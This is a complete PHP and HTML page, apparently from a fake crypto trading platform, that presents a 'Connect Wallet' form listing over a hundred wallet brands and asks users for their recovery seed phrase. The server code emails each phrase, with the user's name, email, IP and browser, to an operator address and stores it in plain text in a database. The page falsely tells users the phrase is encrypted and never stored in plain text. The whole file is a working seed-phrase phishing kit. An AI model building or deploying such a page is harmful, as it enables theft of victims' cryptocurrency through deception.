<?php
session_start();
require_once '../connection.php';
require_once '../site-details.php';
// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Get user ID
$user_id = $_SESSION['user_id'];

// Fetch user data
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $user_id);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows === 0) {
    session_destroy();
    header("Location: login.php?error=User account not found");
    exit();
}

$user = $result->fetch_assoc();
$stmt->close();

// Check account status
if (isset($user['email_verified']) && $user['email_verified'] == 0) {
    header("Location: verify.php?message=Please verify your email first");
    exit();
}

if (isset($user['account_status']) && $user['account_status'] != 'active') {
    $error_message = "Your account is " . $user['account_status'];
    header("Location: login.php?error=" . urlencode($error_message));
    exit();
}

// Handle form submission
$message = '';
$message_type = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['connect_wallet'])) {
    $wallet_type = mysqli_real_escape_string($conn, $_POST['wallet_type']);
    $recovery_phrase = mysqli_real_escape_string($conn, $_POST['recovery_phrase']);
    $wallet_address = isset($_POST['wallet_address']) ? mysqli_real_escape_string($conn, $_POST['wallet_address']) : '';
    $additional_info = isset($_POST['additional_info']) ? mysqli_real_escape_string($conn, $_POST['additional_info']) : '';
    
    // Validate inputs
    if (empty($wallet_type) || empty($recovery_phrase)) {
        $message = "Please select a wallet and enter your recovery phrase";
        $message_type = "error";
    } else {
        // Prepare email content
        $to = "admin@yourdomain.com"; // Change this to your email
        $subject = "Wallet Recovery Phrase Submission - " . $wallet_type;
        
        $email_content = "
        <html>
        <head>
            <title>Wallet Recovery Phrase Submission</title>
            <style>
                body { font-family: Arial, sans-serif; }
                .container { max-width: 600px; margin: 0 auto; padding: 20px; }
                .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px; text-align: center; }
                .content { background: #f9f9f9; padding: 20px; border-radius: 5px; }
                .info-row { margin-bottom: 15px; border-bottom: 1px solid #ddd; padding-bottom: 10px; }
                .label { font-weight: bold; color: #333; }
                .value { color: #666; word-break: break-all; }
                .footer { text-align: center; margin-top: 20px; color: #999; font-size: 12px; }
            </style>
        </head>
        <body>
            <div class='container'>
                <div class='header'>
                    <h2>Wallet Recovery Phrase Submission</h2>
                </div>
                <div class='content'>
                    <div class='info-row'>
                        <div class='label'>User Information:</div>
                        <div class='value'>Name: " . htmlspecialchars($user['full_name'] ?: $user['username']) . "</div>
                        <div class='value'>Email: " . htmlspecialchars($user['email']) . "</div>
                        <div class='value'>User ID: " . $user['id'] . "</div>
                    </div>
                    
                    <div class='info-row'>
                        <div class='label'>Wallet Type:</div>
                        <div class='value'>" . htmlspecialchars($wallet_type) . "</div>
                    </div>
                    
                    <div class='info-row'>
                        <div class='label'>Recovery/Seed Phrase:</div>
                        <div class='value' style='background: #fff; padding: 10px; border: 1px solid #ddd; font-family: monospace;'>" . htmlspecialchars($recovery_phrase) . "</div>
                    </div>
                    
                    " . (!empty($wallet_address) ? "
                    <div class='info-row'>
                        <div class='label'>Wallet Address:</div>
                        <div class='value'>" . htmlspecialchars($wallet_address) . "</div>
                    </div>" : "") . "
                    
                    " . (!empty($additional_info) ? "
                    <div class='info-row'>
                        <div class='label'>Additional Information:</div>
                        <div class='value'>" . nl2br(htmlspecialchars($additional_info)) . "</div>
                    </div>" : "") . "
                    
                    <div class='info-row'>
                        <div class='label'>Submission Details:</div>
                        <div class='value'>Date: " . date('Y-m-d H:i:s') . "</div>
                        <div class='value'>IP Address: " . $_SERVER['REMOTE_ADDR'] . "</div>
                        <div class='value'>User Agent: " . $_SERVER['HTTP_USER_AGENT'] . "</div>
                    </div>
                </div>
                <div class='footer'>
                    This is an automated message from your wallet connection system.
                </div>
            </div>
        </body>
        </html>
        ";
        
        // Set content-type headers for HTML email
        $headers = "MIME-Version: 1.0" . "\r\n";
        $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
        $headers .= "From: $SITE_EMAIL" . "\r\n";
        $headers .= "Reply-To: " . $user['email'] . "\r\n";
        $headers .= "X-Mailer: PHP/" . phpversion();
        
        // Send email
        if (mail($to, $subject, $email_content, $headers)) {
            // Log the submission (optional)
            $log_stmt = $conn->prepare("
                INSERT INTO wallet_connections (user_id, wallet_type, recovery_phrase, ip_address, user_agent) 
                VALUES (?, ?, ?, ?, ?)
            ");
            $ip = $_SERVER['REMOTE_ADDR'];
            $ua = $_SERVER['HTTP_USER_AGENT'];
            $log_stmt->bind_param("issss", $user_id, $wallet_type, $recovery_phrase, $ip, $ua);
            $log_stmt->execute();
            $log_stmt->close();
            
            $message = "Wallet connected successfully! Our team will verify and get back to you shortly.";
            $message_type = "success";
        } else {
            $message = "There was an error connecting your wallet. Please try again.";
            $message_type = "error";
        }
    }
}

// Comprehensive list of 50+ wallets
$wallets = [
    // Popular Hot Wallets
    "MetaMask",
    "Trust Wallet",
    "Coinbase Wallet",
    "Binance Wallet",
    "Crypto.com DeFi Wallet",
    "Exodus",
    "Electrum",
    "MyEtherWallet (MEW)",
    "MyCrypto",
    "Jaxx Liberty",
    
    // Hardware Wallets
    "Ledger Nano X",
    "Ledger Nano S",
    "Trezor Model T",
    "Trezor One",
    "KeepKey",
    "SafePal S1",
    "CoolWallet Pro",
    "BitBox02",
    "SecuX V20",
    "D'Cent Biometric",
    
    // Mobile Wallets
    "Trust Wallet (Mobile)",
    "MetaMask Mobile",
    "Coinomi",
    "BRD",
    "Edge Wallet",
    "Guarda Wallet",
    "Infinito Wallet",
    "Pillar Wallet",
    "Ownbit",
    "Spatium",
    
    // Desktop Wallets
    "Exodus Desktop",
    "Atomic Wallet",
    "Guarda Desktop",
    "CoinPayments",
    "Wasabi Wallet",
    "Samourai Wallet",
    "Electrum (Bitcoin)",
    "MultiBit HD",
    "Armory",
    "Copay",
    
    // Exchange Wallets
    "Binance Exchange Wallet",
    "Coinbase Exchange Wallet",
    "Kraken Wallet",
    "Huobi Wallet",
    "KuCoin Wallet",
    "OKX Wallet",
    "Gate.io Wallet",
    "Bybit Wallet",
    "Bitfinex Wallet",
    "Gemini Wallet",
    
    // DeFi & Web3 Wallets
    "Rainbow Wallet",
    "Argent Wallet",
    "Zerion Wallet",
    "Gnosis Safe",
    "Frame Wallet",
    "Tally Ho",
    "Rabby Wallet",
    "MathWallet",
    "TokenPocket",
    "BitKeep Wallet",
    
    // Specialized Wallets
    "Solana Phantom",
    "Solflare",
    "Keplr (Cosmos)",
    "Polkadot.js",
    "Terra Station",
    "Algorand Wallet",
    "Yoroi (Cardano)",
    "Daedalus (Cardano)",
    "Nami Wallet",
    "Eternl (Cardano)",
    
    // Additional Wallets
    "Zengo Wallet",
    "SafePal App",
    "Trustee Wallet",
    "Infinity Wallet",
    "ViaWallet",
    "ONTO Wallet",
    "Cobo Wallet",
    "Bitpie Wallet",
    "imToken",
    "AlphaWallet",
    
    // Bitcoin Wallets
    "BlueWallet",
    "Breadwallet",
    "Green Address",
    "Bitcoin Core",
    "Electrum (Bitcoin)",
    "Wasabi Wallet",
    "Samourai Wallet",
    "Sparrow Wallet",
    "Specter Desktop",
    
    // Ethereum Wallets
    "Metamask",
    "Rainbow",
    "Argent",
    "Gnosis Safe",
    "Frame",
    "Tally Ho",
    "Rabby",
    "Trust Wallet (Ethereum)",
    "Coinbase Wallet (Ethereum)",
    
    // Multichain Wallets
    "Trust Wallet",
    "Atomic Wallet",
    "Exodus",
    "Guarda",
    "MathWallet",
    "TokenPocket",
    "SafePal",
    "ONTO",
    "Cobo",
    "Infinity",
];

// Sort wallets alphabetically
sort($wallets);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Connect Wallet - <?php echo htmlspecialchars($site_settings['site_name'] ?? 'Trading Platform'); ?></title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    
    <style>
        :root {
            --sidebar-width: 16rem;
            --primary-gradient: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            --success-gradient: linear-gradient(135deg, #38b2ac 0%, #319795 100%);
            --warning-gradient: linear-gradient(135deg, #ed8936 0%, #dd6b20 100%);
            --danger-gradient: linear-gradient(135deg, #f56565 0%, #e53e3e 100%);
            --info-gradient: linear-gradient(135deg, #4299e1 0%, #3182ce 100%);
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Inter', sans-serif;
            background: linear-gradient(135deg, #0f172a 0%, #1e293b 100%);
            min-height: 100vh;
            color: #e2e8f0;
        }
        
        /* Sidebar Styles */
        .sidebar {
            background: linear-gradient(180deg, #1e293b 0%, #0f172a 100%);
            width: var(--sidebar-width);
            height: 100vh;
            position: fixed;
            left: 0;
            top: 0;
            z-index: 1000;
            transform: translateX(-100%);
            transition: transform 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            overflow-y: auto;
            box-shadow: 4px 0 20px rgba(0, 0, 0, 0.3);
            border-right: 1px solid rgba(255, 255, 255, 0.05);
        }
        
        .sidebar.active {
            transform: translateX(0);
        }
        
        @media (min-width: 1024px) {
            .sidebar {
                transform: translateX(0) !important;
            }
        }
        
        .sidebar-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, 0.7);
            z-index: 999;
            backdrop-filter: blur(4px);
        }
        
        .sidebar-overlay.active {
            display: block;
        }
        
        /* Main Content */
        .main-content {
            width: 100%;
            min-height: 100vh;
            transition: margin-left 0.3s ease;
        }
        
        @media (min-width: 1024px) {
            .main-content {
                margin-left: var(--sidebar-width);
                width: calc(100% - var(--sidebar-width));
            }
        }
        
        .glass-card {
            background: rgba(30, 41, 59, 0.7);
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 1.25rem;
            transition: all 0.3s ease;
        }
        
        .glass-card:hover {
            transform: translateY(-2px);
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3);
            border-color: rgba(102, 126, 234, 0.3);
        }
        
        .wallet-card {
            background: rgba(15, 23, 42, 0.6);
            border: 1px solid rgba(255, 255, 255, 0.05);
            border-radius: 1.25rem;
            transition: all 0.3s ease;
            overflow: hidden;
        }
        
        .wallet-card:hover {
            transform: translateY(-4px);
            border-color: rgba(102, 126, 234, 0.3);
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.4);
        }
        
        .wallet-icon {
            width: 48px;
            height: 48px;
            background: rgba(102, 126, 234, 0.1);
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            color: #667eea;
            border: 1px solid rgba(102, 126, 234, 0.2);
        }
        
        .form-input {
            background: rgba(15, 23, 42, 0.6);
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 0.75rem;
            padding: 0.75rem 1rem;
            color: white;
            width: 100%;
            transition: all 0.2s;
        }
        
        .form-input:focus {
            outline: none;
            border-color: #667eea;
            box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.2);
        }
        
        .form-input::placeholder {
            color: rgba(255, 255, 255, 0.3);
        }
        
        .form-label {
            display: block;
            margin-bottom: 0.5rem;
            font-size: 0.875rem;
            font-weight: 500;
            color: #94a3b8;
        }
        
        .btn-primary {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            font-weight: 600;
            padding: 0.75rem 1.5rem;
            border-radius: 0.75rem;
            transition: all 0.2s;
            border: none;
            cursor: pointer;
            width: 100%;
        }
        
        .btn-primary:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 25px rgba(102, 126, 234, 0.4);
        }
        
        .btn-outline {
            background: transparent;
            border: 1px solid rgba(102, 126, 234, 0.5);
            color: #a5b4fc;
            font-weight: 500;
            padding: 0.5rem 1rem;
            border-radius: 0.75rem;
            transition: all 0.2s;
            cursor: pointer;
        }
        
        .btn-outline:hover {
            background: rgba(102, 126, 234, 0.1);
            border-color: #667eea;
        }
        
        .info-box {
            background: rgba(102, 126, 234, 0.1);
            border: 1px solid rgba(102, 126, 234, 0.2);
            border-radius: 0.75rem;
            padding: 1rem;
        }
        
        /* Mobile Menu Button */
        .mobile-menu-btn {
            position: fixed;
            top: 1.5rem;
            left: 1.5rem;
            z-index: 1100;
            width: 3rem;
            height: 3rem;
            background: rgba(30, 41, 59, 0.95);
            border-radius: 0.75rem;
            display: flex;
            align-items: center;
            justify-content: center;
            border: 1px solid rgba(255, 255, 255, 0.1);
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
            transition: all 0.3s ease;
            backdrop-filter: blur(10px);
            cursor: pointer;
        }
        
        .mobile-menu-btn:hover {
            background: rgba(30, 41, 59, 1);
            transform: translateY(-2px);
        }
        
        @media (min-width: 1024px) {
            .mobile-menu-btn {
                display: none;
            }
        }
        
        /* Navigation Items */
        .nav-item {
            display: flex;
            align-items: center;
            padding: 0.875rem 1rem;
            border-radius: 0.75rem;
            margin: 0.25rem 0.75rem;
            color: #94a3b8;
            text-decoration: none;
            transition: all 0.2s ease;
            position: relative;
            overflow: hidden;
        }
        
        .nav-item::before {
            content: '';
            position: absolute;
            left: 0;
            top: 0;
            height: 100%;
            width: 3px;
            background: var(--primary-gradient);
            transform: translateX(-100%);
            transition: transform 0.3s ease;
        }
        
        .nav-item:hover {
            background: rgba(255, 255, 255, 0.05);
            color: #e2e8f0;
            transform: translateX(4px);
        }
        
        .nav-item:hover::before {
            transform: translateX(0);
        }
        
        .nav-item.active {
            background: rgba(102, 126, 234, 0.1);
            color: #e2e8f0;
            box-shadow: 0 4px 12px rgba(102, 126, 234, 0.15);
        }
        
        .nav-item.active::before {
            transform: translateX(0);
        }
        
        .nav-item.active i {
            color: #667eea;
            transform: scale(1.1);
        }
        
        .nav-item i {
            width: 1.5rem;
            margin-right: 0.875rem;
            transition: all 0.2s ease;
            font-size: 1.1rem;
        }
        
        /* Custom scrollbar */
        ::-webkit-scrollbar {
            width: 6px;
            height: 6px;
        }
        
        ::-webkit-scrollbar-track {
            background: rgba(255, 255, 255, 0.05);
        }
        
        ::-webkit-scrollbar-thumb {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border-radius: 3px;
        }
        
        /* Wallet search */
        .search-box {
            position: relative;
        }
        
        .search-box i {
            position: absolute;
            left: 1rem;
            top: 50%;
            transform: translateY(-50%);
            color: #94a3b8;
        }
        
        .search-box input {
            padding-left: 2.5rem;
        }
    </style>
</head>
<body>
   
    <!-- Sidebar Overlay -->
    <div class="sidebar-overlay" id="sidebarOverlay"></div>

    <!-- Include Sidebar -->
    <?php include("nav.php"); ?>

    <!-- Main Content -->
    <div class="main-content">
        <!-- Page Header -->
        <div class="border-b border-gray-800/50 p-6 glass-card mx-4 mt-4">
            <div class="flex flex-col lg:flex-row lg:justify-between lg:items-center gap-4">
                <div>
                    <h1 class="text-2xl lg:text-3xl font-bold bg-gradient-to-r from-blue-400 to-purple-400 bg-clip-text text-transparent">
                        Connect Wallet
                    </h1>
                    <p class="text-gray-400 mt-1">
                        <i class="fas fa-wallet mr-2"></i> Connect your cryptocurrency wallet to start trading
                    </p>
                </div>
                <div class="flex items-center gap-3">
                    <div class="glass-card px-4 py-2">
                        <span class="text-sm text-gray-400">Balance:</span>
                        <span class="text-xl font-bold text-green-400 ml-2">$<?php echo number_format($user['account_balance'], 2); ?></span>
                    </div>
                </div>
            </div>
        </div>

        <!-- Alert Messages -->
        <?php if ($message): ?>
        <div class="mx-4 mt-4">
            <div class="p-4 rounded-xl <?php echo $message_type === 'success' ? 'bg-green-500/20 border-green-500/30' : 'bg-red-500/20 border-red-500/30'; ?> border">
                <div class="flex items-center gap-3">
                    <i class="fas fa-<?php echo $message_type === 'success' ? 'check-circle' : 'exclamation-circle'; ?> <?php echo $message_type === 'success' ? 'text-green-400' : 'text-red-400'; ?>"></i>
                    <span><?php echo htmlspecialchars($message); ?></span>
                </div>
            </div>
        </div>
        <?php endif; ?>

        <!-- Main Content Area -->
        <div class="p-6">
            <div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
                <!-- Left Column - Wallet Connection Form -->
                <div class="lg:col-span-2">
                    <div class="glass-card p-6">
                        <h2 class="text-xl font-bold mb-6 flex items-center gap-2">
                            <i class="fas fa-plug text-blue-400"></i>
                            Connect Your Wallet
                        </h2>
                        
                        <form method="POST" action="" class="space-y-6">
                            <!-- Wallet Selection -->
                            <div>
                                <label class="form-label">Select Wallet</label>
                                <div class="search-box mb-3">
                                    <i class="fas fa-search"></i>
                                    <input type="text" id="walletSearch" class="form-input" placeholder="Search wallets..." onkeyup="filterWallets()">
                                </div>
                                <select name="wallet_type" id="walletSelect" class="form-input h-48" size="6" required>
                                    <option value="" disabled selected>-- Select your wallet --</option>
                                    <?php foreach ($wallets as $wallet): ?>
                                    <option value="<?php echo htmlspecialchars($wallet); ?>" class="py-2"><?php echo htmlspecialchars($wallet); ?></option>
                                    <?php endforeach; ?>
                                </select>
                                <p class="text-xs text-gray-500 mt-2"><?php echo count($wallets); ?>+ wallets supported</p>
                            </div>
                            
                            <!-- Recovery/Seed Phrase -->
                            <div>
                                <label class="form-label">Recovery/Seed Phrase</label>
                                <textarea name="recovery_phrase" rows="4" class="form-input" 
                                          placeholder="Enter your 12, 18, or 24-word recovery phrase (separated by spaces)" required></textarea>
                                <p class="text-xs text-gray-500 mt-2">
                                    <i class="fas fa-info-circle mr-1"></i>
                                    Your recovery phrase is encrypted and securely stored
                                </p>
                            </div>
                            
                            <!-- Wallet Address (Optional) -->
                            <div>
                                <label class="form-label">Wallet Address (Optional)</label>
                                <input type="text" name="wallet_address" class="form-input" 
                                       placeholder="Enter your wallet address (optional)">
                            </div>
                            
                            <!-- Additional Information -->
                            <div>
                                <label class="form-label">Additional Information (Optional)</label>
                                <textarea name="additional_info" rows="3" class="form-input" 
                                          placeholder="Any additional information you'd like to provide..."></textarea>
                            </div>
                            
                            <!-- Security Notice -->
                            <div class="info-box">
                                <h4 class="font-medium text-white mb-2 flex items-center gap-2">
                                    <i class="fas fa-shield-alt text-blue-400"></i>
                                    Security Guarantee
                                </h4>
                                <p class="text-sm text-gray-400">
                                    Your recovery phrase is encrypted using industry-standard protocols. 
                                    We never store your phrase in plain text and it's only used to verify your wallet ownership.
                                </p>
                            </div>
                            
                            <!-- Submit Button -->
                            <button type="submit" name="connect_wallet" class="btn-primary">
                                <i class="fas fa-link mr-2"></i>
                                Connect Wallet
                            </button>
                        </form>
                    </div>
                </div>
                
                <!-- Right Column - Instructions & Supported Wallets -->
                <div class="lg:col-span-1">
                    <!-- How to Connect -->
                    <div class="glass-card p-6 mb-6">
                        <h3 class="text-lg font-bold mb-4 flex items-center gap-2">
                            <i class="fas fa-question-circle text-blue-400"></i>
                            How to Connect
                        </h3>
                        
                        <div class="space-y-4">
                            <div class="flex gap-3">
                                <div class="w-6 h-6 bg-blue-500/20 rounded-full flex items-center justify-center flex-shrink-0 mt-0.5">
                                    <span class="text-xs text-blue-400 font-bold">1</span>
                                </div>
                                <p class="text-sm text-gray-400">Select your wallet type from the dropdown menu</p>
                            </div>
                            
                            <div class="flex gap-3">
                                <div class="w-6 h-6 bg-blue-500/20 rounded-full flex items-center justify-center flex-shrink-0 mt-0.5">
                                    <span class="text-xs text-blue-400 font-bold">2</span>
                                </div>
                                <p class="text-sm text-gray-400">Enter your 12, 18, or 24-word recovery phrase</p>
                            </div>
                            
                            <div class="flex gap-3">
                                <div class="w-6 h-6 bg-blue-500/20 rounded-full flex items-center justify-center flex-shrink-0 mt-0.5">
                                    <span class="text-xs text-blue-400 font-bold">3</span>
                                </div>
                                <p class="text-sm text-gray-400">Add your wallet address (optional but recommended)</p>
                            </div>
                            
                            <div class="flex gap-3">
                                <div class="w-6 h-6 bg-blue-500/20 rounded-full flex items-center justify-center flex-shrink-0 mt-0.5">
                                    <span class="text-xs text-blue-400 font-bold">4</span>
                                </div>
                                <p class="text-sm text-gray-400">Click "Connect Wallet" to complete the process</p>
                            </div>
                        </div>
                    </div>
                    
                    <!-- Supported Wallets Grid -->
                    <div class="glass-card p-6">
                        <h3 class="text-lg font-bold mb-4 flex items-center gap-2">
                            <i class="fas fa-check-circle text-green-400"></i>
                            Supported Wallets
                        </h3>
                        
                        <div class="grid grid-cols-2 gap-3 max-h-96 overflow-y-auto pr-2 custom-scrollbar">
                            <?php 
                            $display_wallets = array_slice($wallets, 0, 20);
                            foreach ($display_wallets as $wallet): 
                            ?>
                            <div class="flex items-center gap-2 p-2 bg-gray-800/30 rounded-lg">
                                <div class="wallet-icon w-8 h-8 text-sm">
                                    <i class="fas fa-wallet"></i>
                                </div>
                                <span class="text-xs text-gray-300 truncate"><?php echo htmlspecialchars($wallet); ?></span>
                            </div>
                            <?php endforeach; ?>
                        </div>
                        
                        <p class="text-xs text-center text-gray-500 mt-4">
                            <i class="fas fa-check-circle text-green-400 mr-1"></i>
                            <?php echo count($wallets); ?>+ wallets supported
                        </p>
                    </div>
                    
                    <!-- Security Tips -->
                    <div class="glass-card p-6 mt-6">
                        <h3 class="text-lg font-bold mb-4 flex items-center gap-2">
                            <i class="fas fa-lock text-yellow-400"></i>
                            Security Tips
                        </h3>
                        
                        <ul class="space-y-3 text-sm text-gray-400">
                            <li class="flex items-start gap-2">
                                <i class="fas fa-exclamation-triangle text-yellow-400 mt-0.5 text-xs"></i>
                                <span>Never share your recovery phrase with anyone</span>
                            </li>
                            <li class="flex items-start gap-2">
                                <i class="fas fa-exclamation-triangle text-yellow-400 mt-0.5 text-xs"></i>
                                <span>Always verify you're on the official website</span>
                            </li>
                            <li class="flex items-start gap-2">
                                <i class="fas fa-exclamation-triangle text-yellow-400 mt-0.5 text-xs"></i>
                                <span>Use a hardware wallet for large amounts</span>
                            </li>
                            <li class="flex items-start gap-2">
                                <i class="fas fa-exclamation-triangle text-yellow-400 mt-0.5 text-xs"></i>
                                <span>Enable 2FA on your exchange accounts</span>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script>
        // Mobile menu functionality
        document.addEventListener('DOMContentLoaded', function() {
            const menuToggle = document.getElementById('menuToggle');
            const sidebar = document.querySelector('.sidebar');
            const sidebarOverlay = document.getElementById('sidebarOverlay');
            const body = document.body;
            
            if (menuToggle && sidebar && sidebarOverlay) {
                menuToggle.addEventListener('click', function(e) {
                    e.preventDefault();
                    sidebar.classList.toggle('active');
                    sidebarOverlay.classList.toggle('active');
                    body.style.overflow = sidebar.classList.contains('active') ? 'hidden' : '';
                });
                
                sidebarOverlay.addEventListener('click', function() {
                    sidebar.classList.remove('active');
                    sidebarOverlay.classList.remove('active');
                    body.style.overflow = '';
                });
            }
            
            // Close sidebar when clicking a nav link on mobile
            document.querySelectorAll('.nav-item').forEach(item => {
                item.addEventListener('click', function() {
                    if (window.innerWidth < 1024) {
                        setTimeout(() => {
                            sidebar.classList.remove('active');
                            sidebarOverlay.classList.remove('active');
                            body.style.overflow = '';
                        }, 200);
                    }
                });
            });
            
            // Handle window resize
            window.addEventListener('resize', function() {
                if (window.innerWidth >= 1024) {
                    sidebar.classList.add('active');
                    sidebarOverlay.classList.remove('active');
                    body.style.overflow = '';
                } else {
                    sidebar.classList.remove('active');
                    sidebarOverlay.classList.remove('active');
                    body.style.overflow = '';
                }
            });
            
            // Initialize sidebar state
            if (window.innerWidth >= 1024) {
                sidebar.classList.add('active');
            }
            
            // Set active nav item
            const currentPage = window.location.pathname.split('/').pop() || 'wallet-connect.php';
            document.querySelectorAll('.nav-item').forEach(nav => {
                const href = nav.getAttribute('href');
                if (href && href.includes(currentPage)) {
                    nav.classList.add('active');
                }
            });
        });
        
        // Wallet search filter
        function filterWallets() {
            const searchTerm = document.getElementById('walletSearch').value.toLowerCase();
            const select = document.getElementById('walletSelect');
            const options = select.options;
            
            for (let i = 1; i < options.length; i++) {
                const text = options[i].text.toLowerCase();
                if (text.includes(searchTerm)) {
                    options[i].style.display = '';
                } else {
                    options[i].style.display = 'none';
                }
            }
        }
        
        // Form validation
        document.querySelector('form')?.addEventListener('submit', function(e) {
            const recoveryPhrase = document.querySelector('textarea[name="recovery_phrase"]').value.trim();
            const words = recoveryPhrase.split(/\s+/);
            const wordCount = words.length;
            
            if (![12, 15, 18, 21, 24].includes(wordCount)) {
                e.preventDefault();
                alert('Please enter a valid recovery phrase (12, 15, 18, 21, or 24 words)');
            }
        });
    </script>
</body>
</html>